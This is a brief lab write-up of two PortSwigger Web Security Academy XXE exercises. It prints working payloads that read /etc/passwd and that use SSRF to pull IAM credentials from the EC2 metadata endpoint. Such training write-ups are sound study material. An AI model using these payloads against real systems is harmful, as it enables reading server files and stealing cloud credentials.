XXE - APPRENTICE

tags: Portswigger Web Security Academy Web

• Description: This lab has a “Check stock” feature that parses XML input and returns any unexpected values in the response.
• Goal: To solve the lab, inject an XML external entity to retrieve the contents of the /etc/passwd file.

Lab: Exploiting XXE using external entities to retrieve files

Recon

1. Use Burp Suite to intercept package You can notice that it use a normal xml format.

Exp - Inject Directly

Exploit Payload:

1 2	<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd">]><stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

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Lab: Exploiting XXE to perform SSRF attacks

• Description: This lab has a “Check stock” feature that parses XML input and returns any unexpected values in the response. The lab server is running a (simulated) EC2 metadata endpoint at the default URL, which is http://169.254.169.254/. This endpoint can be used to retrieve data about the instance, some of which might be sensitive.
• Goal: To solve the lab, exploit the XXE vulnerability to perform an SSRF attack that obtains the server’s IAM secret access key from the EC2 metadata endpoint.

Recon

1. Intercept Package

   From the screenshot of the package, we noticed that the xml attached data could be injected.

Exp - Inject Directly

Exploit Payload:

1	<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]><stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>